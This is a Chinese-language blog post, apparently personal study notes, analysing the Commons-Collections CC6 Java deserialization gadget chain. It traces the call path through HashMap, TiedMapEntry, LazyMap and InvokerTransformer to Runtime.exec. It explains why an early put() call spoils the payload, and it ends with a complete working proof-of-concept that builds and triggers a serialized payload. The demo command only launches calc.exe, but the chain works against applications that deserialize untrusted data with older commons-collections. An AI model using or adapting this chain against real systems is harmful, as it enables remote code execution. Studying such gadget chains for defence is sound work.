Java反序列化(4)

CC6

前面几篇详细分析了CommonsCuollections1这个利用链和其中的LazyMap原理。但是我们说到,在Java 8u71之后,这个利用链不能再利用了,主要原因是sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了。

ysoserial中,CommonsCollections可以说是commons-collections这个库中相对比较通用的利用链,为了解决高版本Java的利用问题,我们先来看看这个利用链。

先看看简化版利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

我们需要看的主要是从最开始到org.apache.commons.collections.map.LazyMap.get()的那一部分,因为LazyMap#get后面的部分在上一篇文章里已经说了。所以简单来说,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方

我们找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调用了this.map.get,而其hashCode方法调用类getValue方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import java.io.Serializable;  
import java.util.Map;

import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;

/** The map underlying the entry/iterator */
private final Map map;
/** The key */
private final Object key;

/**
* Constructs a new entry with the given Map and key. * * @param map the map
* @param key the key
*/ public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
// Map.Entry interface
//------------------------------------------------------------------------- /** * Gets the key of this entry ** @return the key
*/ public Object getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map. ** @return the value
*/ public Object getValue() {
return map.get(key);
}

// ...

/**
* Gets a hashCode compatible with the equals method. * <p> * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
** @return a suitable hash code
*/ public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

// ...
}

想要触发LazyMap链,那么接下来就需要找一个可以调用TiedMapEntry#hashCode的地方。

ysoserial中,是利用java.util.HashSet#ReadObjectHashMap#put()HashMap#hash(key)最后到TiedMapEntry#hashCode()

java.util.HashSet#ReadObject中就可以找到HashMap#hash()的调用,去掉了最前面的两次调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class HashMap<K, V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {

// ...

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

// ...

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

HashMapreadObject方法中,调用到了hash(key),而hash方法中,调用到了key.hashCode(),所以只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,然后构成一个完整的Gadget

Gadget

先把构造恶意LazyMap构造出来:

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行,在构造LazyMap的时候先用了一个人畜无害的fakeTransformers对象,等最后要生成Payload的对象,再把真正的transformers替换进去。

现在,就拿到了一个恶意的LazyMap对象outerMap,把它多为TiedMapEntrymap属性:

1
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,我们要调用TiedMapEntry#hashCode(),需要将tme对象作为HashMap的一个key。注意,这里我们需要新建一个HashMap,而不是用之前LazyMap利用链里的那个HashMap,两者没任何关系:

1
2
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,就将这个expMap作为对象来序列化,但别忘了将真正的transformers数组设置进来:

1
2
3
4
5
6
7
8
9
10
11
// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

然后我这里运行的时候还是报错了,因为这个commons-collections的版本要求是3.2.2以下(不包括),所以需要注意一下,在pom.xml里改一下就好了,前面的一些报错可能也是因为这个。

修改完commons-collections的版本,再运行

unserialization_4_1.png

但是还是没有弹出计算机

然后单步调试一下看看问题出在哪里

unserialization_4_2.png

主要就是在上面这框起来的部分,本应最后触发命令执行的transform()没有触发,因为map.containsKey(key)的结果是true,这个if语句没有进入

唯一出现keykey的地方就是在TieddMapEntry的构造函数里,但是TiedMapEntry的构造函数并没有修改outerMap:

1
2
3
4
5
6
7
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

这个关键点就在于exoMap.put(tme,"valuecalue")这里

因为在HashMapput方法中,也有调用到hash(key):

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这里就导致了LazyMap这个利用链在这里被调用了一遍,,因为前面用了takeTransformers,所以这里并没有触发命令注销,实际上也对构造Payload产生了影响。

那么如何解决呢,只需要将keykey的这个key从outerMap中移除就可以了:outerMap.remove("keykey")

然后就是P牛的完整的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制

unserialization_4_3.png

win!

Java反序列化的内容就告一段落,之后应该还会有其他链的分析。接下去会继续更新自己的java安全学习笔记,主要参考《Java安全漫谈》